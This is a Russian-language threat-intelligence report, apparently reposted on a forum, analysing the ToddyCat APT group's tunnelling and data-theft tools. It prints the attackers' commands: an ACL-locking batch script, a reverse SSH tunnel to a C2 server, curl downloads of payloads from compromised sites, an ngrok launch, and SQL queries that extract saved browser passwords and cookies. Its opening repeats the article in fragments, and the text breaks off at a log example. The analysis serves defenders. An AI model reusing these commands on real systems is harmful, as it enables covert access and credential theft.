ToddyCat — это
Одна из главных целей группы —кража конфиденциальной информации с хостов.
За время наблюдения мы отметили, что группировка собирает данные в промышленных масштабах. Чтобы собрать столько информации со множества хостов, атакующим необходимо, насколько это возможно, автоматизировать процесс, а также обеспечить несколько альтернативных способов поддержания постоянного доступа к атакуемым системам и наблюдения за ними.
Мы решили изучить, как все это реализовано у ToddyCat. Отметим, что все инструменты, о которых пойдет речь в этой статье, используются на этапе, когда у атакующих уже есть скомпрометированные учетные данные пользователей с высокими правами доступа, позволяющие подключаться к удаленным хостам. Подключение, перенос и запуск всех необходимых инструментов на хосты в большинстве случаев осуществлялись с помощью
Для запуска такого туннеля атакующие используют несколько файлов:
Злоумышленники не пытаются скрыть следы клиента SSH в системе. Они не переименовывают файл и размещают его в папках, имена которых указывают на присутствие SSH-клиента:
При этом атакующие копируют файлы с закрытыми ключами, необходимые для подключения к удаленному серверу, по следующим путям:
Обычно файлы приватных ключей для OpenSSH создаются без расширений, но иногда им присваивают расширение .key или похожее. В нашем случае атакующие использовали расширения .ini и .dat — очевидно, чтобы скрыть истинное назначение файлов в системе. Передача через командную строку файлов с этими расширениями выглядит не так подозрительно, как передача файлов без расширения или с расширением .key.
Поместив файлы приватных ключей в папку AppReadiness, атакующие копируют и запускают скрипт a.bat, размещая его во временных директориях или в общей папке пользователей в системе:
Этот файл содержит следующие команды:
В операционной системе Windows папка C:\Windows\AppReadiness относится к сервису AppReadiness. В ней хранятся файлы для первоначальной настройки приложений при первом запуске или при первом входе пользователя в систему.
Вывод команды icacls для папки AppReadiness с настройками по умолчанию
На рисунке выше показаны права доступа к этой папке, установленные по умолчанию:
Скрипт a.bat выполняет следующее: устанавливает систему как владельца папки и удаляет всех пользователей из списка DACL (discretionary access control list) оставляя только систему. На рисунке ниже показан список DACL для папки C:\Windows\AppReadiness после запуска скрипта:
Вывод команды icacls для папки AppReadiness после запуска скрипта a.bat
После изменения прав ни обычные пользователи, ни администраторы не могут получить доступ к этой папке. Попытка ее открыть приводит к ошибке отсутствия прав доступа, как показано на рисунке ниже.
Отказ в доступе к настройкам безопасности папки AppReadiness
Чтобы запустить туннель, атакующие создают в системе задачу по расписанию, которая выполняет следующую команду:
Эта команда создает SSH-подключение к порту 22222 удаленного сервера с IP-адресом 103.27.202[.]85 под учетной записью пользователя с именем вида systemtestXX, где Экс экс — это число. Это подключение перенаправляет трафик с определенного порта на командном сервере на определенный порт зараженного хоста. Таким образом, приложения, работающие на сервере, могут в любой момент получить доступ к службе на зараженном хосте, слушающей соответствующий порт, отправив запрос на нужный порт на сервере.
На примере выше подключение создается от имени пользователя systemtest01, и перенаправляет сетевые соединения с порта 31481 сервера на порт 53 целевого хоста. Такое соединение, созданное на контроллерах домена, позволяет атакующим получать IP-адреса хостов во внутренней сети через DNS-запросы.
Каждый пользователь отвечает за свой порт на целевом хосте. Например, пользователь с именем systemtest05 отвечает за перенаправление трафика с сервера на порт 445, на котором обычно расположены SMB-службы.
Информация по IP-адресу удаленного сервера представлена в следующей таблице:
В целом процесс создания OpenSSH-туннеля можно представить в виде следующей схемы:
Схема создания SSH-туннеля
Чтобы запустить VPN-сервер, атакующие использовали следующие файлы:
Почти во всех наблюдаемых случаях, атакующие переименовывали файл vpnserver_x64.exe, чтобы скрыть его назначение в системе. Известны следующие имена и пути этого файла на зараженных хостах:
Интересно, что в некоторых случаях для сокрытия функциональности файла были использованы имена защитных решений.
Файл hamcore.se2 в атакуемых системах не переименовывался, поскольку файл VPN-сервера загружает его по этому имени из папки, в которой находится сам.
Чтобы перенести инструменты на хосты жертвы, атакующие использовали как свою стандартную технику — передачу файлов через общедоступные ресурсы (
Мы наблюдали загрузку файлов, связанных с SoftEther VPN, со следующих веб-ресурсов:
В большинстве случаев злоумышленники доставляли файл конфигурации на устройство вместе с VPN-сервером. Однако в некоторых случаях они не переносили файл конфигурации на хост, а создавали его с помощью запуска файла vpnserver_x64.exe с ключами /install или /usermode_hidetray, а затем редактировали.
В файл конфигурации атакующие добавляли данные для удаленного подключения клиента к серверу и его аутентификационные данные. Ниже представлены соответствующие поля и их значения из конфигурационного файла.
В завершение атакующие создавали задачу по расписанию для запуска файла vpnserver_x64.exe с ключом /service.
В качестве такого агента атакующие выбрали
Агент запускается следующей командой:
Порт, на который ngrok перенаправляет трафик из облачной инфраструктуры, прослушивает другой инструмент — Krong. Он представляет собой файл DLL, который загружается при помощи техники
Krong представляет собой прокси-сервер, который шифрует передаваемые через него данные с помощью функции XOR:
Фрагмент кода Krong
Это позволяет инструменту скрывать содержимое трафика, чтобы уйти от обнаружения.
Для запуска клиента атакующие используют два файла:
После переноса файлов на целевой хост атакующие создают сервис с произвольным именем и со следующей командной строкой:
Эта команда запускает FRP-клиент с конфигурационным файлом tc.ini. После этого все коммуникации с C2 проходят через этот инструмент.
Исполняемый файл принимает следующие аргументы:
В этом примере атакующие искали на хосте все файлы офисных приложений MS Excel, MS Word, а также PDF-файлы, которые изменялись после 26 июня 2023 года.
После запуска инструмент обрабатывает параметры командной строки и начинает рекурсивный поиск файлов в файловой системе на всех доступных дисках (
Также из поиска исключаются:
Мы нашли несколько модификаций cuthead, в которые были зашиты все необходимые параметры, такие как список расширений и время последнего изменения файлов (обычно злоумышленников интересовали файлы за последние семь дней). Скорее всего, это было сделано для автоматизации поиска.
Если пользователь использует веб-версию WhatsApp, то в локальном хранилище браузера могут содержаться данные его профиля, данные о чатах, телефонные номера других пользователей этих чатов, а также данные о текущей сессии. Злоумышленники могут получить доступ к этой информации, скопировав файлы локального хранилища браузера.
WAExp принимает следующие аргументы:
В найденных пользовательских папках WAExp начинает поиск путей по которым расположены хранилища браузеров Chrome и Edge, а также хранилища различных продуктов Mozilla.
Для браузера Chrome инструмент открывает папку <User>\Appdata\local\Google\, а для браузера Edge — папку <User>\Appdata\local\Microsoft\Edge\. В них он по всем внутренним и вложенным папкам ищет директорию со следующим названием:
Для продуктов Mozilla WAExp открывает папку <User>\Appdata\roaming\ и в дочерних папках ищет директорию с именем:
В папке roaming могут находиться несколько директорий продуктов Mozilla, которые могут содержать данные хранилища для сайта web.whatsapp.com. Помимо браузера Firefox, с веб-версией WhatsApp взаимодействует, например, приложение Thunderbird, которое использует плагин для мессенджера.
Результат работы WAExp с параметром check
На рисунке выше можно увидеть результат работы инструмента, запущенного с параметром check. Он показывает, что на хосте обнаружены файлы хранилищ для браузеров Chrome, Edge, Firefox и почтового клиента Thunderbird.
Если инструмент запускается с параметром copy, то все найденные файлы хранилищ данных для сайта web.whatsapp.com будут скопированы во временную папку для хранения:
Последний параметр, который использует инструмент, — это start. Если запустить WAExp с этим параметром, происходит повторный сбор файлов во временную папку, как это описано в функции copy. После этого инструмент упаковывает все данные из этой папки в архив при помощи модуля System.IO.Compression.ZipFile (
После этого временная папка и папки веб-браузеров и других клиентов, в которых хранятся данные сайта web.whatsapp.com, удаляются.
Пример результата работы WAExp для всех параметров
На рисунке выше приведен пример данных, которые инструмент выводит при запуске с параметрами check, copy и start. В данном случае WAExp собирает информацию из папок браузера Chrome. В результате формируется архив, файл и содержимое которого изображены на рисунке ниже.
Файл архива в который WAExp сохраняет данные
В открытом доступе есть немало инструментов, которые позволяют расшифровать эти хранилища, например
Оба браузера используют для шифрования данных функцию
Все модификации инструмента TomBerBil действуют по одному принципу. После запуска начинается перечисление всех процессов, запущенных в системе. Инструмент ищет среди них все экземпляры процесса explorer.exe. Затем инструмент определяет пользователя, от имени которого запущены найденные процессы.
Функция определения пользователя
На рисунке представлен вариант реализации функции, определяющей пользователя по ID процесса (PID). В этой функции выполняется WMI-запрос к классу Win32_Process для получения объекта со свойством processID, равным переданному в функцию PID. Для полученного объекта вызывается метод GetOwner, который возвращает имя пользователя и имя домена, под которым был запущен процесс. После этого происходит поиск ключа шифрования, который хранится в поле encrypted_key в следующих файлах JSON браузеров:
Затем TomBerBil копирует токены найденных процессов, заимствует права пользователей, в контексте которых эти процессы выполняются, и пытается расшифровать мастер-ключ с помощью функции CryptUnprotectData. Для этого инструмент вызывает функцию Unprotect из пакета System.Security.Cryptography.ProtectedData. Эта функция, в свою очередь, вызывает функцию CryptUnprotectData из Windows DPAPI.
Вызов функции Unprotect
На рисунке показан пример вызова функции Unprotect, которой передается массив байтов, полученных из поля encrypted_key. Третьим параметром передается значение DataProtectionScope.CurrentUser. Это означает, что при расшифровке данных будет применен пользовательский контекст вызывающего процесса. Именно для этой цели инструмент заимствует права найденных пользователей.
Если расшифровка проходит успешно, то TomBerBil начинает искать файлы Login Data и \Network\Cookies в следующих папках:
Найденные файлы инструмент копирует во временную папку, после чего открывает их как файлы базы данных SQLite и выполняет следующие запросы:
После этого TomBerBil расшифровывает обнаруженные данные с помощью мастер-ключа и сохраняет их в отдельные файлы.
Большинство модификаций инструмента ведут журнал выполняемых действий. Ниже приведен пример журнала, сгенерированного TomBerBil:
Любопытно, что одна из модификаций мимикрировала под Kaspersky Anti-Virus. Файл этой модификации с именем avpui.exe (
Метаданные инструмента, выдающего себя за KAV
Для работы некоторых версий TomBerBil использовались определенные параметры командной строки, как, например, на рисунке ниже.
Параметры, использующиеся в некоторых версиях TomBerBil
Помимо использования самого инструмента, мы в некоторых случаях также наблюдали создание теневой копии диска и архивацию файлов из папки User Data с помощью
Для защиты вашей инфраструктуры мы рекомендуем добавить в блок-лист на фаерволе ресурсы и IP-адреса облачных сервисов, которые предоставляют услуги туннелирования трафика. Внутри инфраструктуры мы рекомендуем ограничить список разрешенных инструментов для удаленного доступа к хостам. Те же инструменты, которые не используются, следует либо запретить вообще, либо отслеживать их появление внутри инфраструктуры — это может служить хорошим индикатором наличия подозрительной активности.
Кроме этого, необходимо требовать от пользователей отказаться от хранения паролей в браузерах. Оно облегчает злоумышленникам доступ к конфиденциальной информации, а если пользователи защищают одними и теми же паролями аккаунты в разных сервисах, то злоумышленники смогут получить доступ к неограниченному количеству данных.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
, которая атакует преимущественно государственные организации в Азиатско-Тихоокеанском регионе, в том числе имеющие отношение к оборонному производству. Одна из главных целей группы —кража конфиденциальной информации с хостов.
За время наблюдения мы отметили, что группировка собирает данные в промышленных масштабах. Чтобы собрать столько информации со множества хостов, атакующим необходимо, насколько это возможно, автоматизировать процесс, а также обеспечить несколько альтернативных способов поддержания постоянного доступа к атакуемым системам и наблюдения за ними.
Мы решили изучить, как все это реализовано у ToddyCat. Отметим, что все инструменты, о которых пойдет речь в этой статье, используются на этапе, когда у атакующих уже есть скомпрометированные учетные данные пользователей с высокими правами доступа, позволяющие подключаться к удаленным хостам. Подключение, перенос и запуск всех необходимых инструментов на хосты в большинстве случаев осуществлялись с помощью
Для просмотра ссылки необходимо нажать
Вход или Регистрация
или инструментов из пакета
Для просмотра ссылки необходимо нажать
Вход или Регистрация
.Инструменты для туннелирования трафика
Для доступа к зараженной инфраструктуре злоумышленники используют несколько туннелей на основе разных инструментов. Это позволяет им сохранять доступ к системам, даже если один из туннелей был обнаружен и устранен. В результате операторы имеют возможность производить разведку и подключаться к удаленным хостам в любой момент.Обратный SSH туннель
Один из способов получить доступ к удаленным сетевым сервисам — создать обратный SSH-туннель.Для запуска такого туннеля атакующие используют несколько файлов:
- Клиент SSH из набора утилит
Для просмотра ссылки необходимо нажать Вход или Регистрациявместе с необходимой для его работы библиотекой.
- Файл с закрытым ключом (OPENSSH PRIVATE KEY).
- Скрипт a.bat для сокрытия файла закрытого ключа.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
).Злоумышленники не пытаются скрыть следы клиента SSH в системе. Они не переименовывают файл и размещают его в папках, имена которых указывают на присутствие SSH-клиента:
1 2 3 | C:\program files\OpenSSH\ssh.exe C:\programdata\sshd\ssh.exe C:\programdata\ssh\ssh.exe |
При этом атакующие копируют файлы с закрытыми ключами, необходимые для подключения к удаленному серверу, по следующим путям:
1 2 3 4 | C:\Windows\AppReadiness\read.ini C:\Windows\AppReadiness\data.dat C:\Windows\AppReadiness\log.dat C:\Windows\AppReadiness\value.dat |
Обычно файлы приватных ключей для OpenSSH создаются без расширений, но иногда им присваивают расширение .key или похожее. В нашем случае атакующие использовали расширения .ini и .dat — очевидно, чтобы скрыть истинное назначение файлов в системе. Передача через командную строку файлов с этими расширениями выглядит не так подозрительно, как передача файлов без расширения или с расширением .key.
Поместив файлы приватных ключей в папку AppReadiness, атакующие копируют и запускают скрипт a.bat, размещая его во временных директориях или в общей папке пользователей в системе:
1 | c:\users\public\a.bat |
Этот файл содержит следующие команды:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | @echo off ::# Set Key File Variable: Set Key="C:\Windows\AppReadiness" takeown /f "%Key%" icacls "%Key%" /remove "BUILTIN\Administrators" > "%temp%\a.txt" icacls "%Key%" /remove "Administrators" >> "%temp%\a.txt" icacls "%Key%" /remove "NT AUTHORITY\Authenticated Users" >> "%temp%\a.txt" icacls "%Key%" /remove "CREATOR OWNER" >> "%temp%\a.txt" icacls "%Key%" /remove "BUILTIN\Users" >> "%temp%\a.txt" icacls "%Key%" /remove "Users" >> "%temp%\a.txt" icacls "%Key%" >> "%temp%\a.txt" ::# Remove Variable: set "Key=" |
В операционной системе Windows папка C:\Windows\AppReadiness относится к сервису AppReadiness. В ней хранятся файлы для первоначальной настройки приложений при первом запуске или при первом входе пользователя в систему.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Вывод команды icacls для папки AppReadiness с настройками по умолчанию
На рисунке выше показаны права доступа к этой папке, установленные по умолчанию:
- у администраторов и системы — полные права;
- у авторизованных пользователей — права только на чтение.
Скрипт a.bat выполняет следующее: устанавливает систему как владельца папки и удаляет всех пользователей из списка DACL (discretionary access control list) оставляя только систему. На рисунке ниже показан список DACL для папки C:\Windows\AppReadiness после запуска скрипта:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Вывод команды icacls для папки AppReadiness после запуска скрипта a.bat
После изменения прав ни обычные пользователи, ни администраторы не могут получить доступ к этой папке. Попытка ее открыть приводит к ошибке отсутствия прав доступа, как показано на рисунке ниже.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Отказ в доступе к настройкам безопасности папки AppReadiness
Чтобы запустить туннель, атакующие создают в системе задачу по расписанию, которая выполняет следующую команду:
1 2 3 | C:\PROGRA~1\OpenSSH\ssh.exe -i C:\Windows\AppReadiness\value.dat -o StrictHostKeyChecking=accept-new -R 31481:localhost:53 systemtest01@103[.]27.202.85 -p 22222 -fN |
Эта команда создает SSH-подключение к порту 22222 удаленного сервера с IP-адресом 103.27.202[.]85 под учетной записью пользователя с именем вида systemtestXX, где Экс экс — это число. Это подключение перенаправляет трафик с определенного порта на командном сервере на определенный порт зараженного хоста. Таким образом, приложения, работающие на сервере, могут в любой момент получить доступ к службе на зараженном хосте, слушающей соответствующий порт, отправив запрос на нужный порт на сервере.
На примере выше подключение создается от имени пользователя systemtest01, и перенаправляет сетевые соединения с порта 31481 сервера на порт 53 целевого хоста. Такое соединение, созданное на контроллерах домена, позволяет атакующим получать IP-адреса хостов во внутренней сети через DNS-запросы.
Каждый пользователь отвечает за свой порт на целевом хосте. Например, пользователь с именем systemtest05 отвечает за перенаправление трафика с сервера на порт 445, на котором обычно расположены SMB-службы.
Информация по IP-адресу удаленного сервера представлена в следующей таблице:
IP | Страна + ASN | Название сети | Описание сети | Адрес | |
103.27.202[.]85 | Thailand, AS58955 | BANGMOD-VPS-NETWORK | Bangmod VPS Network | Bangmod-IDC Supermicro Thailand Powered by CSloxinfo | [email protected] |
В целом процесс создания OpenSSH-туннеля можно представить в виде следующей схемы:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Схема создания SSH-туннеля
SoftEther VPN
Еще один инструмент, с помощью которого атакующие создают туннели, — серверное приложение (VPN Server) из пакета SoftEther VPN.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
— это решение с открытым кодом, разработанное в университете Цукубы в рамках академического исследования и позволяющее создавать VPN-соединения по многим популярным протоколам, таким как L2TP/IPsec, OpenVPN, MS-SSTP, L2TPv3, EtherIP и другие.Чтобы запустить VPN-сервер, атакующие использовали следующие файлы:
- vpnserver_x64.exe — файл VPN-сервера, имеющий цифровую подпись.
- hamcore.se2 — файл-контейнер, который содержит необходимые компоненты для запуска файла vpnserver_x64.exe.
- vpn_server.config — файл конфигурации сервера.
Почти во всех наблюдаемых случаях, атакующие переименовывали файл vpnserver_x64.exe, чтобы скрыть его назначение в системе. Известны следующие имена и пути этого файла на зараженных хостах:
1 2 3 4 5 6 7 8 9 10 | c:\programdata\ssh\vmtools.exe c:\programdata\lenovo\lenovo\kln.exe c:\programdata\iobit\iobitrtt\tmp\mstime.exe c:\perflogs\ecache\boot.exe c:\users\public\music\wia.exe c:\users\public\music\taskllst.exe c:\programdata\lenovo\lenovo\main.exe c:\programdata\intel\gcc\gcc\boot.exe c:\programdata\lenovo\lenovodisplaycontrolcenterservice\netscan.exe c:\programdata\kasperskylab\kaspersky.exe |
Интересно, что в некоторых случаях для сокрытия функциональности файла были использованы имена защитных решений.
Файл hamcore.se2 в атакуемых системах не переименовывался, поскольку файл VPN-сервера загружает его по этому имени из папки, в которой находится сам.
Чтобы перенести инструменты на хосты жертвы, атакующие использовали как свою стандартную технику — передачу файлов через общедоступные ресурсы (
Для просмотра ссылки необходимо нажать
Вход или Регистрация
), — так и загрузку файлов с зараженных интернет-ресурсов с помощью утилиты curl:1 2 | "cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/main.js -o c:\windows\debug\wia\wia.exe > C:\WINDOWS\Temp\vwqkspeq.tmp 2>&1 "cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/ham.js -o c:\windows\debug\wia\hamcore.se2 > C:\WINDOWS\Temp\nohEicOE.tmp 2>&1 |
Мы наблюдали загрузку файлов, связанных с SoftEther VPN, со следующих веб-ресурсов:
URL | Оригинальное имя файла |
hxxp://www.netportal.or[.]kr/common/css/main.js | vpnserver_x64.exe |
hxxp://www.netportal.or[.]kr/common/css/ham.js | Hamcore.se2 |
hxxp://23.106.122[.]5/hamcore.se2 | Hamcore.se2 |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/tasklist.exe | vpnserver_x64.exe |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/hamcore.se2 | Hamcore.se2 |
В большинстве случаев злоумышленники доставляли файл конфигурации на устройство вместе с VPN-сервером. Однако в некоторых случаях они не переносили файл конфигурации на хост, а создавали его с помощью запуска файла vpnserver_x64.exe с ключами /install или /usermode_hidetray, а затем редактировали.
1 2 | "cmd.exe" /C c:\users\public\music\taskllst.exe /install > C:\Windows\Temp\fnOcaiqm.tmp 2>&1 "cmd.exe" /C c:\users\public\music\taskllst.exe /usermode_hidetray > C:\Windows\Temp\TSwkLRsR.tmp |
В файл конфигурации атакующие добавляли данные для удаленного подключения клиента к серверу и его аутентификационные данные. Ниже представлены соответствующие поля и их значения из конфигурационного файла.
AccountName | Hostname |
ha.bbmouseme[.]com | 118[.]193.40.42 |
В завершение атакующие создавали задачу по расписанию для запуска файла vpnserver_x64.exe с ключом /service.
Ngrok agent и Krong
Еще один способ получить доступ к удаленной инфраструктуре, который использовали злоумышленники, — туннель легального облачного провайдера. Приложение, запущенное на хосте пользователя и имеющее доступ к локальной инфраструктуре, может устанавливать соединение с облачным сервером через легальный агент, перенаправлять трафик и выполнять определенные команды.В качестве такого агента атакующие выбрали
Для просмотра ссылки необходимо нажать
Вход или Регистрация
— легкую программу, которая перенаправляет трафик из конечных точек в облачную инфраструктуру и обратно. Они устанавливают этот агент на зараженный хост и с его помощью перенаправляют трафик из облачной инфраструктуры на определенный порт на хосте.Агент запускается следующей командой:
1 2 | "cmd" /c "cd C:\windows\temp\ & Intel.exe tcp --region=ap --remote-addr=1.tcp.ap.ngrok.io:21146 54112 -- authtoken 2GskqGD<token>txB7WyV" |
Порт, на который ngrok перенаправляет трафик из облачной инфраструктуры, прослушивает другой инструмент — Krong. Он представляет собой файл DLL, который загружается при помощи техники
Для просмотра ссылки необходимо нажать
Вход или Регистрация
(
Для просмотра ссылки необходимо нажать
Вход или Регистрация
) и легитимного приложения с цифровой подписью AVG TuneUp. Этот инструмент через командную строку получает адрес и порт, к которому необходимо ожидать подключение:1 | "cmd" /c "cd C:\windows\temp\ & SystemInformation.exe 0.0.0.0 54112" |
Krong представляет собой прокси-сервер, который шифрует передаваемые через него данные с помощью функции XOR:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Фрагмент кода Krong
Это позволяет инструменту скрывать содержимое трафика, чтобы уйти от обнаружения.
FRP-клиент
После создания туннелей с помощью OpenSSH или SoftEther VPN атакующие дополнительно устанавливают на целевых хостах
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Для просмотра ссылки необходимо нажать
Вход или Регистрация
. FRP — это быстрый обратный прокси, написанный на языке Go. Он позволяет открыть доступ из Интернета к локальному серверу, расположенному за NAT или фаерволом. FRP имеет веб-интерфейс для изменения настроек и просмотра статистики подключений.Для запуска клиента атакующие используют два файла:
- frpc.exe — исполняемый файл клиента FRP
- frpc.toml — файл конфигурации клиента
После переноса файлов на целевой хост атакующие создают сервис с произвольным именем и со следующей командной строкой:
1 | c:\windows\debug\tck.exe -c c:\windows\debug\tc.ini |
Эта команда запускает FRP-клиент с конфигурационным файлом tc.ini. После этого все коммуникации с C2 проходят через этот инструмент.
Инструменты для сбора данных
Cuthead
В новой кампании злоумышленники использовали для поиска документов инструмент cuthead. Это название мы взяли из поля file description исполняемого файла. Этот инструмент представляет собой скомпилированный на .NET исполняемый файл, который предназначен для поиска и упаковки файлов в архив. Поиск может осуществляться по заданным расширениям или ключевым словам, встречающимся в имени файла.Исполняемый файл принимает следующие аргументы:
1 | fkw.exe <date> <extensions> [keywords] |
- Date — дата последнего изменения файла в формате yyyyMMdd. Инструмент будет искать файлы, измененные не ранее этой даты.
- Extensions — строка без пробелов, в которой указаны расширения файлов, разделенные точкой с запятой.
- Keywords — строка без пробелов, в которой указаны ключевые слова для поиска в именах файлов. Они тоже разделяются точкой с запятой.
1 | "c:\intel\fkw.exe" 20230626 pdf;doc;docx;xls;xlsx |
После запуска инструмент обрабатывает параметры командной строки и начинает рекурсивный поиск файлов в файловой системе на всех доступных дисках (
Для просмотра ссылки необходимо нажать
Вход или Регистрация
). При этом из поиска исключаются папки, которые содержат следующие подстроки:1 2 3 4 5 6 7 | $ Windows Program Files Programdata Application Data Program Files (x86) Documents and Settings |
Также из поиска исключаются:
- файлы, объем которых превышает 50 Мбайт (52 428 800 байт);
- файлы, чьи расширения не соответствуют указанным в команде;
- файлы, в имени которых не содержится ни одно из слов, если таковые заданы.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
).Мы нашли несколько модификаций cuthead, в которые были зашиты все необходимые параметры, такие как список расширений и время последнего изменения файлов (обычно злоумышленников интересовали файлы за последние семь дней). Скорее всего, это было сделано для автоматизации поиска.
WAExp для кражи данных WhatsApp
WAExp написан на .NET и предназначен для поиска и сбора файлов локальных хранилищ веб-браузеров, в которых содержатся данные веб-версии приложения WhatsApp (web.whatsapp.com).Если пользователь использует веб-версию WhatsApp, то в локальном хранилище браузера могут содержаться данные его профиля, данные о чатах, телефонные номера других пользователей этих чатов, а также данные о текущей сессии. Злоумышленники могут получить доступ к этой информации, скопировав файлы локального хранилища браузера.
WAExp принимает следующие аргументы:
1 | app.exe [check|copy|start] [remote] |
- Check — функция, которая проверяет наличие данных на хосте.
- Copy — функция, которая копирует найденные данные во временную папку.
- Start — функция, которая упаковывает собранные данные в архив.
- Remote — имя удаленного хоста.
1 2 3 4 | All Users Default User Default Public |
В найденных пользовательских папках WAExp начинает поиск путей по которым расположены хранилища браузеров Chrome и Edge, а также хранилища различных продуктов Mozilla.
Для браузера Chrome инструмент открывает папку <User>\Appdata\local\Google\, а для браузера Edge — папку <User>\Appdata\local\Microsoft\Edge\. В них он по всем внутренним и вложенным папкам ищет директорию со следующим названием:
1 | https_web.whatsapp.com_0.indexeddb.leveldb |
Для продуктов Mozilla WAExp открывает папку <User>\Appdata\roaming\ и в дочерних папках ищет директорию с именем:
1 | https+++web.whatsapp.com |
В папке roaming могут находиться несколько директорий продуктов Mozilla, которые могут содержать данные хранилища для сайта web.whatsapp.com. Помимо браузера Firefox, с веб-версией WhatsApp взаимодействует, например, приложение Thunderbird, которое использует плагин для мессенджера.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Результат работы WAExp с параметром check
На рисунке выше можно увидеть результат работы инструмента, запущенного с параметром check. Он показывает, что на хосте обнаружены файлы хранилищ для браузеров Chrome, Edge, Firefox и почтового клиента Thunderbird.
Если инструмент запускается с параметром copy, то все найденные файлы хранилищ данных для сайта web.whatsapp.com будут скопированы во временную папку для хранения:
1 | C:\Programdata\Microsoft\Default\ |
Последний параметр, который использует инструмент, — это start. Если запустить WAExp с этим параметром, происходит повторный сбор файлов во временную папку, как это описано в функции copy. После этого инструмент упаковывает все данные из этой папки в архив при помощи модуля System.IO.Compression.ZipFile (
Для просмотра ссылки необходимо нажать
Вход или Регистрация
). Файл архива сохраняется без расширения с именем, состоящим из строки Default, даты и времени создания, по следующему пути:1 | C:\Programdata\Microsoft\Default-yyyyMMdd-hhmmss |
После этого временная папка и папки веб-браузеров и других клиентов, в которых хранятся данные сайта web.whatsapp.com, удаляются.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Пример результата работы WAExp для всех параметров
На рисунке выше приведен пример данных, которые инструмент выводит при запуске с параметрами check, copy и start. В данном случае WAExp собирает информацию из папок браузера Chrome. В результате формируется архив, файл и содержимое которого изображены на рисунке ниже.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Файл архива в который WAExp сохраняет данные
TomBerBil для кражи паролей из браузеров
Злоумышленников интересует не только сбор данных с хостов, но и получение доступа ко всем веб-сервисам, к которым имеют доступ пользователи. Имея высокие права в системе, они могут попытаться расшифровать данные браузеров, где содержатся файлы cookie и пароли, которые пользователь мог сохранить для автозаполнения форм при аутентификации в веб-сервисах (
Для просмотра ссылки необходимо нажать
Вход или Регистрация
).В открытом доступе есть немало инструментов, которые позволяют расшифровать эти хранилища, например
Для просмотра ссылки необходимо нажать
Вход или Регистрация
. Проблема для злоумышленников заключается в том, что такие инструменты хорошо известны защитным решениям и их появление в инфраструктуре сразу привлекает много внимания.Чтобы избежать обнаружения, атакующие создали целую серию инструментов на основе разных технологий, предназначенных для одной цели — извлечения cookie-файлов и сохраненных паролей из браузеров Chrome и Edge.
Оба браузера используют для шифрования данных функцию
Для просмотра ссылки необходимо нажать
Вход или Регистрация
из DPAPI (Data Protection Application Programming Interface). Эта функция защищает данные с помощью пароля текущего пользователя в системе и специального мастер-ключа шифрования.Все модификации инструмента TomBerBil действуют по одному принципу. После запуска начинается перечисление всех процессов, запущенных в системе. Инструмент ищет среди них все экземпляры процесса explorer.exe. Затем инструмент определяет пользователя, от имени которого запущены найденные процессы.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Функция определения пользователя
На рисунке представлен вариант реализации функции, определяющей пользователя по ID процесса (PID). В этой функции выполняется WMI-запрос к классу Win32_Process для получения объекта со свойством processID, равным переданному в функцию PID. Для полученного объекта вызывается метод GetOwner, который возвращает имя пользователя и имя домена, под которым был запущен процесс. После этого происходит поиск ключа шифрования, который хранится в поле encrypted_key в следующих файлах JSON браузеров:
1 2 3 | %LOCALAPPDATA%\Google\Chrome\User Data\Local State %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State |
Затем TomBerBil копирует токены найденных процессов, заимствует права пользователей, в контексте которых эти процессы выполняются, и пытается расшифровать мастер-ключ с помощью функции CryptUnprotectData. Для этого инструмент вызывает функцию Unprotect из пакета System.Security.Cryptography.ProtectedData. Эта функция, в свою очередь, вызывает функцию CryptUnprotectData из Windows DPAPI.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Вызов функции Unprotect
На рисунке показан пример вызова функции Unprotect, которой передается массив байтов, полученных из поля encrypted_key. Третьим параметром передается значение DataProtectionScope.CurrentUser. Это означает, что при расшифровке данных будет применен пользовательский контекст вызывающего процесса. Именно для этой цели инструмент заимствует права найденных пользователей.
Если расшифровка проходит успешно, то TomBerBil начинает искать файлы Login Data и \Network\Cookies в следующих папках:
1 2 3 | %LOCALAPPDATA%\Google\Chrome\User Data\Default %LOCALAPPDATA%\Google\Chrome\User Data\Profile * |
Найденные файлы инструмент копирует во временную папку, после чего открывает их как файлы базы данных SQLite и выполняет следующие запросы:
1 2 | SELECT origin_url, username_value, password_value FROM logins SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies |
Большинство модификаций инструмента ведут журнал выполняемых действий. Ниже приведен пример журнала, сгенерированного TomBerBil:
